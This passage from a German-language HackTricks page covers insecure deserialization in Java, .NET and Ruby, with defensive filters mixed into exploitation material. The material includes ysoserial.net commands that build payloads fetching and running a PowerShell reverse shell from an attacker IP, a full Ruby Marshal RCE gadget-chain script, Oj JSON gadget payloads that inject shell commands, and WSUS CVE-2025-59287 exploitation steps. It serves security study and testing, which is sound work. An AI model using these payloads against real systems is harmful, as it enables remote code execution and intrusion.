- RMI (Remote Method Invocation): Das Java RMI-Protokoll, das vollständig auf Serialisierung basiert, ist ein Grundpfeiler für Remote-Kommunikation in Java-Anwendungen.
- RMI over HTTP: Diese Methode wird häufig von Java-basierten Thick-Client-Webanwendungen genutzt und verwendet Serialisierung für alle Objektkommunikationen.
- JMX (Java Management Extensions): JMX nutzt Serialisierung, um Objekte über das Netzwerk zu übertragen.
- Benutzerdefinierte Protokolle: In Java ist es üblich, rohe Java-Objekte zu übertragen, was in den folgenden Exploit-Beispielen demonstriert wird.
Prävention
Transient objects
Eine Klasse, die Serializable implementiert, kann jedes Objekt innerhalb der Klasse als transient markieren, das nicht serialisierbar sein sollte. Zum Beispiel:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Vermeiden Sie die Serialisierung einer Klasse, die Serializable implementieren muss
In Szenarien, in denen bestimmte Objekte aufgrund der Klassenhierarchie die Serializable-Schnittstelle implementieren müssen, besteht die Gefahr einer unbeabsichtigten Deserialisierung. Um dies zu verhindern, sorgen Sie dafür, dass diese Objekte nicht deserialisierbar sind, indem Sie eine final readObject()-Methode definieren, die stets eine Ausnahme wirft, wie unten gezeigt:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Absicherung der Deserialisierung in Java
Customizing java.io.ObjectInputStream ist ein praktischer Ansatz zur Absicherung von Deserialisierungsprozessen. Diese Methode eignet sich, wenn:
- Der Deserialisierungs-Code unter Ihrer Kontrolle ist.
- Die für die Deserialisierung erwarteten Klassen bekannt sind.
Überschreiben Sie die resolveClass()-Methode, um die Deserialisierung auf nur erlaubte Klassen zu beschränken. Dadurch wird die Deserialisierung jeglicher Klassen verhindert, außer denen, die explizit erlaubt sind, wie im folgenden Beispiel, das die Deserialisierung auf die Klasse Bicycle beschränkt:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement bietet eine Fallback-Lösung, wenn eine Codeänderung nicht möglich ist. Diese Methode gilt hauptsächlich für blacklisting harmful classes, indem ein JVM-Parameter verwendet wird:
-javaagent:name-of-agent.jar
Es bietet eine Möglichkeit, Deserialisierung dynamisch abzusichern, ideal für Umgebungen, in denen sofortige Code-Änderungen unpraktisch sind.
Siehe ein Beispiel in rO0 by Contrast Security
Implementierung von Serialisierungsfiltern: Java 9 führte Serialisierungsfilter über die Schnittstelle ObjectInputFilter ein und bietet einen leistungsstarken Mechanismus, um Kriterien zu definieren, die serialisierte Objekte erfüllen müssen, bevor sie deserialisiert werden. Diese Filter können global oder pro Stream angewendet werden und ermöglichen eine feinkörnige Kontrolle über den Deserialisierungsprozess.
Um Serialisierungsfilter zu nutzen, können Sie einen globalen Filter setzen, der für alle Deserialisierungsoperationen gilt, oder ihn dynamisch für bestimmte Streams konfigurieren. Zum Beispiel:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Externe Bibliotheken zur Verbesserung der Sicherheit nutzen: Bibliotheken wie NotSoSerial, jdeserialize und Kryo bieten erweiterte Funktionen zur Kontrolle und Überwachung von Java-Deserialization. Diese Bibliotheken können zusätzliche Sicherheitsebenen bieten, wie z.B. Whitelisting oder Blacklisting von Klassen, die Analyse serialisierter Objekte vor der Deserialisierung und die Implementierung benutzerdefinierter Serialisierungsstrategien.
- NotSoSerial unterbricht Deserialisierungsprozesse, um die Ausführung untrusted Code zu verhindern.
- jdeserialize ermöglicht die Analyse serialisierter Java-Objekte, ohne sie zu deserialisieren, und hilft so, potenziell bösartigen Inhalt zu identifizieren.
- Kryo ist ein alternatives Serialisierungsframework, das Geschwindigkeit und Effizienz betont und konfigurierbare Serialisierungsstrategien bietet, die die Sicherheit verbessern können.
Referenzen
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).
Produkte
Es gibt mehrere Produkte, die diese Middleware verwenden, um Nachrichten zu senden:
.png)
.png)
Exploitation
Also, im Grunde gibt es eine Reihe von Diensten, die JMS auf eine gefährliche Art verwenden. Wenn Sie daher ausreichende Berechtigungen haben, Nachrichten an diese Dienste zu senden (in der Regel benötigen Sie gültige Credentials), könnten Sie serialisierte bösartige Objekte senden, die vom Consumer/Subscriber deserialisiert werden.
Das bedeutet, dass bei dieser Ausnutzung alle Clients, die diese Nachricht verwenden, infiziert werden.
Sie sollten sich daran erinnern, dass selbst wenn ein Dienst verwundbar ist (weil er Benutzereingaben unsicher deserialisiert), Sie dennoch gültige Gadgets finden müssen, um die Vulnerability auszunutzen.
Das Tool JMET wurde erstellt, um sich mit diesen Diensten zu verbinden und sie anzugreifen, indem mehrere serialisierte bösartige Objekte mit bekannten Gadgets gesendet werden. Diese Exploits funktionieren, wenn der Dienst weiterhin verwundbar ist und eines der verwendeten Gadgets in der verwundbaren Anwendung vorhanden ist.
Referenzen
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
Im Kontext von .Net funktionieren Deserialisierungs-Exploits ähnlich wie in Java, wobei Gadgets ausgenutzt werden, um bestimmten Code während der Deserialisierung eines Objekts auszuführen.
Fingerprint
WhiteBox
Der Quellcode sollte auf Vorkommen von geprüft werden:
TypeNameHandlingJavaScriptTypeResolver
Der Fokus sollte auf Serializern liegen, die erlauben, dass der Typ durch eine vom Benutzer kontrollierte Variable bestimmt wird.
BlackBox
Die Suche sollte auf die Base64-codierte Zeichenfolge AAEAAAD///// oder ein ähnliches Muster abzielen, das serverseitig deserialisiert werden könnte und die Kontrolle über den zu deserialisierenden Typ ermöglicht. Dies könnte unter anderem JSON- oder XML-Strukturen mit TypeObject oder $type umfassen.
ysoserial.net
In diesem Fall können Sie das Tool ysoserial.net verwenden, um Deserialisierungs-Exploits zu erstellen. Sobald Sie das Git-Repository heruntergeladen haben, sollten Sie das Tool z.B. mit Visual Studio kompilieren.
Wenn Sie lernen wollen, wie ysoserial.net seine Exploits erstellt, können Sie diese Seite prüfen, in der das ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter erklärt werden.
Die Hauptoptionen von ysoserial.net sind: --gadget, --formatter, --output und --plugin.
--gadgetwird verwendet, um das zu missbrauchende Gadget anzugeben (die Klasse/Funktion, die während der Deserialisierung missbraucht wird, um Befehle auszuführen).--formatter, wird verwendet, um die Methode anzugeben, mit der der Exploit serialisiert wird (Sie müssen wissen, welche Bibliothek das Backend zur Deserialisierung verwendet und dieselbe zum Serialisieren verwenden).--outputwird verwendet, um anzugeben, ob Sie den Exploit im raw- oder base64-kodierten Format möchten. Beachten Sie, dass ysoserial.net die Nutzlast mit UTF-16LE kodiert (Standardkodierung unter Windows), sodass Sie bei Verwendung des rohen Outputs und einfachem Umkodieren in einer Linux-Konsole auf Kodierungsprobleme stoßen können, die verhindern, dass der Exploit korrekt funktioniert (in der HTB JSON-Box funktionierte die Nutzlast sowohl in UTF-16LE als auch in ASCII, aber das garantiert keine allgemeine Funktion).--pluginysoserial.net unterstützt Plugins zur Erstellung von Exploits für spezifische Frameworks wie ViewState
More ysoserial.net parameters
--minifyerzeugt eine kleinere Nutzlast (falls möglich)--raf -f Json.Net -c "anything"Dies listet alle Gadgets auf, die mit einem angegebenen Formatter verwendet werden können (Json.Netin diesem Fall)--sf xmlSie können ein Gadget angeben (-g) und ysoserial.net wird nach Formattern suchen, die “xml” enthalten (case-insensitive)
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net hat außerdem einen sehr interessanten Parameter, der hilft, besser zu verstehen, wie jeder exploit funktioniert: --test
Wenn du diesen Parameter angibst, wird ysoserial.net den exploit lokal ausprobieren, damit du testen kannst, ob dein payload korrekt funktioniert.
Dieser Parameter ist hilfreich, weil du beim Überprüfen des Codes Codeabschnitte wie den folgenden (aus ObjectDataProviderGenerator.cs) finden wirst:
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Das bedeutet, dass der Code, um den exploit zu testen, serializersHelper.JsonNet_deserialize aufruft.
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
Der vorherige Code ist gegenüber dem erzeugten Exploit verwundbar. Wenn du also etwas Ähnliches in einer .Net-Anwendung findest, bedeutet das wahrscheinlich, dass auch diese Anwendung verwundbar ist.
Daher erlaubt uns der Parameter --test, zu erkennen, welche Codeabschnitte gegenüber dem deserialization exploit verwundbar sind, den ysoserial.net erzeugen kann.
ViewState
Siehe this POST about how to try to exploit the __ViewState parameter of .Net to execute arbitrary code. Wenn du bereits die Secrets der Opfermaschine kennst, read this post to know to execute code.
Reales Beispiel: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE
- Betroffene Endpunkte:
/SimpleAuthWebService/SimpleAuth.asmx→ GetCookie() AuthorizationCookie entschlüsselt und dann mit BinaryFormatter deserialisiert./ReportingWebService.asmx→ ReportEventBatch und verwandte SOAP-Operationen, die SoapFormatter-Sinks erreichen; das base64 gadget wird verarbeitet, wenn die WSUS-Konsole das Event aufnimmt.- Ursache: vom Angreifer kontrollierte Bytes erreichen legacy .NET formatters (BinaryFormatter/SoapFormatter) ohne strikte allow‑lists/binders, sodass gadget chains als WSUS-Servicekonto (oft SYSTEM) ausgeführt werden.
Minimale Ausnutzung (Reporting-Pfad):
- Erzeuge ein .NET gadget mit ysoserial.net (BinaryFormatter oder SoapFormatter) und gib base64 aus, zum Beispiel:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
- Erstelle SOAP für
ReportEventBatch, bette das base64 gadget ein und sende es per POST an/ReportingWebService.asmx. - Wenn ein admin die WSUS-Konsole öffnet, wird das Ereignis deserialisiert und das gadget ausgelöst (RCE als SYSTEM).
AuthorizationCookie / GetCookie()
- Ein gefälschtes AuthorizationCookie kann akzeptiert, entschlüsselt und an einen BinaryFormatter-Sink übergeben werden, wodurch pre‑auth RCE ermöglicht wird, falls erreichbar.
Öffentliche PoC-Parameter (tecxx/CVE-2025-59287-WSUS):
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
See Windows Local Privilege Escalation – WSUS
Prävention
Um die mit Deserialisierung in .Net verbundenen Risiken zu mindern:
- Vermeiden Sie, dass Datenströme ihre Objekttypen festlegen. Verwenden Sie
DataContractSerializeroderXmlSerializer, wenn möglich. - Für
JSON.Net, setzen SieTypeNameHandlingaufNone:TypeNameHandling = TypeNameHandling.None - Vermeiden Sie die Verwendung von
JavaScriptSerializermit einemJavaScriptTypeResolver. - Beschränken Sie die Typen, die deserialisiert werden können, und verstehen Sie die inhärenten Risiken von .Net-Typen, wie
System.IO.FileInfo, die Eigenschaften von Serverdateien ändern können und möglicherweise zu denial of service attacks führen. - Seien Sie vorsichtig bei Typen mit riskanten Eigenschaften, wie
System.ComponentModel.DataAnnotations.ValidationExceptionmit seinerValue-Eigenschaft, die ausgenutzt werden kann. - Kontrollieren Sie die Typinstanziierung sicher, um zu verhindern, dass Angreifer den Deserialisierungsprozess beeinflussen und dadurch selbst
DataContractSerializeroderXmlSerializerangreifbar werden. - Implementieren Sie White list-Kontrollen mithilfe eines benutzerdefinierten
SerializationBinderfürBinaryFormatterundJSON.Net. - Bleiben Sie über insecure deserialization gadgets innerhalb von .Net informiert und stellen Sie sicher, dass Deserialisierer solche Typen nicht instanziieren.
- Isolieren Sie potenziell riskanten Code vom Code mit Internetzugang, um zu vermeiden, dass bekannte gadgets wie
System.Windows.Data.ObjectDataProviderin WPF-Anwendungen untrusted data sources ausgesetzt werden.
Referenzen
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
In Ruby wird die Serialisierung durch zwei Methoden der marshal-Library ermöglicht. Die erste Methode, bekannt als dump, wird verwendet, um ein Objekt in einen Bytestrom zu verwandeln. Dieser Vorgang wird als Serialisierung bezeichnet. Die zweite Methode, load, wird dagegen verwendet, um einen Bytestrom wieder in ein Objekt zurückzuverwandeln — dies ist die Deserialisierung.
Zur Sicherung serialisierter Objekte verwendet Ruby HMAC (Hash-Based Message Authentication Code), um die Integrität und Authentizität der Daten zu gewährleisten. Der hierfür verwendete Schlüssel wird an einem der folgenden Orte gespeichert:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (mehr Infos in https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Weitere RCE-Kette zum Ausnutzen von Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() method
Wie in this vulnerability report erläutert, wenn ungefilterte Benutzereingaben die .send()-Methode eines ruby-Objekts erreichen, erlaubt diese Methode, jede andere Methode des Objekts mit beliebigen Parametern aufzurufen.
Zum Beispiel ermöglicht das Aufrufen von eval und das Übergeben von ruby-Code als zweiten Parameter das Ausführen beliebigen Codes:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Außerdem, wenn nur ein Parameter von .send() von einem Angreifer kontrolliert wird, wie im vorherigen writeup erwähnt, ist es möglich, jede Methode des Objekts aufzurufen, die keine Argumente benötigt oder deren Argumente Standardwerte haben.
Dazu kann man alle Methoden des Objekts aufzählen, um einige interessante Methoden zu finden, die diese Anforderungen erfüllen.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Siehe, wie es möglich sein könnte, eine Ruby-Klasse zu pollute a Ruby class and abuse it in here.
Ruby _json pollution
Wenn im Body einige nicht hashable Werte wie ein Array gesendet werden, werden sie unter einem neuen Key namens _json abgelegt. Allerdings ist es einem Angreifer auch möglich, im Body selbst einen Wert namens _json mit beliebigen Werten zu setzen. Wenn das Backend beispielsweise die Gültigkeit eines Parameters prüft, aber anschließend den _json-Parameter nutzt, um eine Aktion auszuführen, könnte ein authorisation bypass erfolgen.
Weitere Informationen finden Sie auf der Ruby _json pollution page.
Andere Libraries
Diese Technik wurde aus diesem Blogpost übernommen.
Es gibt weitere Ruby-Libraries, die verwendet werden können, um Objekte zu serialisieren und die daher bei einer unsicheren Deserialisierung für RCE missbraucht werden könnten. Die folgende Tabelle zeigt einige dieser Libraries und die Methode, die aufgerufen wird, sobald das Objekt deserialisiert wird (Funktion, die im Grunde für RCE missbraucht werden kann):
| Bibliothek | Eingabedaten | Ausgelöste Methode in der Klasse |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (die Klasse muss als Schlüssel in einen hash(map) eingefügt werden) |
| Ox | XML | hash (die Klasse muss als Schlüssel in einen hash(map) eingefügt werden) |
| Psych (Ruby) | YAML | hash (die Klasse muss als Schlüssel in einen hash(map) eingefügt werden)init_with |
| JSON (Ruby) | JSON | json_create ([siehe Anmerkungen zu json_create am Ende](#table-vulnerable-sinks)) |
Grundlegendes Beispiel:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Im Fall des Versuchs, Oj zu missbrauchen, war es möglich, eine gadget class zu finden, die innerhalb ihrer hash-Funktion to_s aufruft, welches spec aufruft, welches fetch_path aufruft — und es war möglich, fetch_path so zu manipulieren, dass es eine zufällige URL abruft, wodurch ein hervorragender Indikator für diese Art von unsanitized deserialization vulnerabilities entsteht.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Außerdem wurde festgestellt, dass durch die vorherige Technik ein Ordner im System angelegt wird, was nötig ist, um ein anderes Gadget auszunutzen und dies in eine vollständige RCE zu verwandeln, z. B. mit:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Weitere Details findest du im original post.
Bootstrap Caching
Nicht wirklich eine deserialization vuln, aber ein netter Trick, um bootstrap caching auszunutzen und RCE in einer rails-Anwendung mit einer arbitrary file write zu erreichen (den vollständigen original post findest du hier).
Nachfolgend eine kurze Zusammenfassung der im Artikel beschriebenen Schritte zum Ausnutzen einer arbitrary file write-Schwachstelle durch Missbrauch des Bootsnap-Caches:
- Identify the Vulnerability and Environment
Die Datei-Upload-Funktionalität der Rails-App erlaubt einem Angreifer, Dateien beliebig zu schreiben. Obwohl die App mit Einschränkungen läuft (nur bestimmte Verzeichnisse wie tmp sind aufgrund des nicht-root Users von Docker beschreibbar), erlaubt dies dennoch das Schreiben in das Bootsnap-Cache-Verzeichnis (typischerweise unter tmp/cache/bootsnap).
- Understand Bootsnap’s Cache Mechanism
Bootsnap beschleunigt Rails-Startzeiten, indem es kompilierten Ruby-Code, YAML- und JSON-Dateien cached. Es speichert Cache-Dateien, die einen Cache-Key-Header enthalten (mit Feldern wie Ruby-Version, Dateigröße, mtime, compile options, etc.) gefolgt vom kompilierten Code. Dieser Header wird beim App-Start zur Validierung des Caches verwendet.
- Gather File Metadata
Der Angreifer wählt zunächst eine Zieldatei aus, die wahrscheinlich während des Rails-Starts geladen wird (zum Beispiel set.rb aus der Ruby-Standardbibliothek). Durch Ausführen von Ruby-Code im Container extrahieren sie kritische Metadaten (wie RUBY_VERSION, RUBY_REVISION, size, mtime und compile_option). Diese Daten sind essenziell, um einen gültigen Cache-Key zu erzeugen.
- Compute the Cache File Path
Indem die FNV-1a 64-bit Hash-Mechanik von Bootsnap reproduziert wird, wird der korrekte Cache-Dateipfad bestimmt. Dieser Schritt stellt sicher, dass die bösartige Cache-Datei genau dort platziert wird, wo Bootsnap sie erwartet (z. B. unter tmp/cache/bootsnap/compile-cache-iseq/).
- Craft the Malicious Cache File
Der Angreifer bereitet ein Payload vor, das:
- Arbiträre Befehle ausführt (z. B. id ausführt, um Prozessinformationen anzuzeigen).
- Die bösartige Cache-Datei nach der Ausführung entfernt, um rekursive Ausnutzung zu verhindern.
- Die Originaldatei (z. B. set.rb) lädt, um ein Abstürzen der Anwendung zu vermeiden.
Dieses Payload wird in binären Ruby-Code kompiliert und mit einem sorgfältig konstruierten Cache-Key-Header verkettet (unter Verwendung der zuvor gesammelten Metadaten und der korrekten Bootsnap-Versionsnummer).
- Overwrite and Trigger Execution
Mit der arbitrary file write-Schwachstelle schreibt der Angreifer die erstellte Cache-Datei an den berechneten Ort. Anschließend löst er einen Server-Neustart aus (indem er tmp/restart.txt beschreibt, das von Puma überwacht wird). Beim Neustart, wenn Rails die anvisierte Datei verlangt, wird die bösartige Cache-Datei geladen, was zu remote code execution (RCE) führt.
Ruby Marshal exploitation in practice (updated)
Behandle jeden Pfad, über den untrusted Bytes zu Marshal.load/marshal_load gelangen, als RCE-Sink. Marshal rekonstruiert beliebige Objektgraphen und löst library/gem-Callbacks während der Materialisierung aus.
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Häufige Gadget-Klassen, die in realen Chains vorkommen:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - Typischer Side-Effect-Marker, der in payloads eingebettet ist (wird während des unmarshal ausgeführt):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Wo es in echten Apps auftaucht:
- Rails cache stores und session stores, die historisch Marshal verwenden
- Hintergrund-Job-Backends und dateibasierte Objekt-Stores
- Jegliche benutzerdefinierte Persistenz oder Übertragung binärer Objekt-Blobs
Industrielle Gadget-Erkennung:
- Grep nach Konstruktoren,
hash,_load,init_withoder nebenwirkungsreichen Methoden, die beim Unmarshal aufgerufen werden - Verwende CodeQL’s Ruby unsafe deserialization queries, um sources → sinks nachzuverfolgen und Gadgets aufzudecken
- Mit öffentlichen Multi-Format-PoCs validieren (JSON/XML/YAML/Marshal)
Referenzen
- Trail of Bits – Marshal madness: Eine kurze Geschichte der Ruby-Deserialisierungsexploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x universelle RCE-Deserialisierungs-Gadget-Kette: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal-Kette: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 unsichere Deserialisierung): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage unsichere Deserialisierung: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Entdeckung von Gadget-Ketten in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (Query-Hilfe): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universelle Kette: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal-Umgehung: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 Veröffentlichung: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby Fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Audit von RubyGems.org (Marshal-Funde): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec – CVE-2025-59287 WSUS unsichere Deserialisierung (Blog)
- PoC – tecxx/CVE-2025-59287-WSUS
- RSC Report Lab – CVE-2025-55182 (React 19.2.0)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

